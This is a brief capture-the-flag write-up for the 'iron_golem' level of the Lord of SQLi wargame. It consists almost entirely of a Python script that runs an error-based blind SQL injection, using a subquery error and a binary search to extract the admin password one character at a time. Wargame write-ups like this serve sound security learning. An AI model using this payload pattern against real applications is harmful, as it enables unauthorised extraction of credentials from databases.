LOS :: 21번 IRON_GOLEM

WRITE UP

import requests
 
url = "http://los.rubiya.kr/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
session = {'PHPSESSID':'MY_SESSION'}
data = {}
 
flag=""
 
print("[∞] flag : ",end='')
 
for i in range(1,18):
    a=0
    b=100000
    while b-a!=0:
        center = a+(b-a)//2+1
        data['pw'] = "' or id='admin' and if(ord(mid(pw,"+str(i)+",1))<"
                     +str(center)+",(select 1 union select 2),1)#"
        res = requests.get(url, params=data, cookies=session)
        if "Subquery" in res.text:
            b=center-1
        else:
            a=center
            
    print(chr(a),end='')
    flag = flag + chr(a)
 
data['pw']=flag
res = requests.get(url, params=data, cookies = session)
 
if "Clear!" in res.text:
   print("\n[♪] IRON_GOLEM Clear!")